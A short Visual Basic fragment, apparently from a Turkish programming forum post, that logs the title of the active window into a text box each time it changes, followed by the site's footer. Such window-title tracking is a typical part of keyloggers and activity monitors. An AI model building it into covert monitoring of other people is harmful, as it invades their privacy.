If Baslik <> BasligiAl(GetForegroundWindow) Then
Baslik = BasligiAl(GetForegroundWindow)
’Else
Text1 = Text1 & " [" & Baslik & "] " & vbCrLf

End If
’End If

   Kankokan, 22.09.2008 12:57
© Hakan Ersöz 2000-2013| Üyelik Sözleşmesi | | Ödeme Bildirimi
Sitemizden yenilikleri hemen öğrenin, pop upları engelleyin, chat yapın... ToolBarımızı indirin:
Vasicmaster Toolbar'ı indirin